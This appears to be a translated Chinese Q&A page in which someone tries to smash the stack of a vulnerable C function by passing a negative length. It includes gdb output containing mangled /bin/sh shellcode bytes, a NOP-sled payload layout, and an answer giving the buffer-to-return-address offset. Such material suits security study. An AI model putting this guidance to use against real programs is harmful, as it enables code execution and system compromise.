从缓冲区指针计算堆栈中的返回地址

Calculating return addr in stack from a buffer pointer

本文关键字:返回 地址 堆栈 缓冲区 指针 计算      更新时间:2023-10-16

我正试图粉碎堆栈,并试图从下面的链接中读取SHELL:http://insecure.org/stf/smashstack.html我正在发送arglen neg,并成功地粉碎堆栈,代码给出了segfault。但我无法计算RET地址,我应该把SHELL代码放在那里。因此,在该距离之后的缓冲区中,我将放入SHELL代码。

int foo(char* arg, short arglen)
{
    char buffer[8];
    short maxlen = 8;
    int len;
    if (arglen < maxlen)
    {
        len = strlen(arg);
        printf("arglen =%d, buf size =%dn", arglen, len);
        strncpy(buffer, arg, len);
    }else
        printf("foo finished. Everything is normal.n");
    return 0;
}

上述代码的info frame O/p将断点置于strncpy:中

(gdb) info frame
Stack level 0, frame at 0xffffc740:
 eip = 0x804854a in foo (target.c:17); saved eip = 0x804864f
 called by frame at 0xff80cd13
 source language c.
 Arglist at 0xffffc738, args: arg=0xffffc750 "1300Ph//shh/bin211343PS211ᙰv̀", arglen=-32549
 Locals at 0xffffc738, Previous frame's sp is 0xffffc740
 Saved registers:
  ebp at 0xffffc738, eip at 0xffffc73c
(gdb) 

如何从buffer地址计算返回地址?

[编辑]

12345%nx90x90x90x90...x90x90SHELLCODE

像这样,我想把我的缓冲内存

调用汇编指令将指令指针推送到堆栈上,然后将调用指令中的地址放在指令指针中。正常功能条目如下:

push bp
mov bp, sp
sub sp, n    ; n is the number of bytes for the local variables.

从上到下的堆栈现在看起来像:

arglen
arg
ret
bp
buffer

Buffer是第一个局部参数。那么buffer+8+sizeof(void*)就是返回地址的位置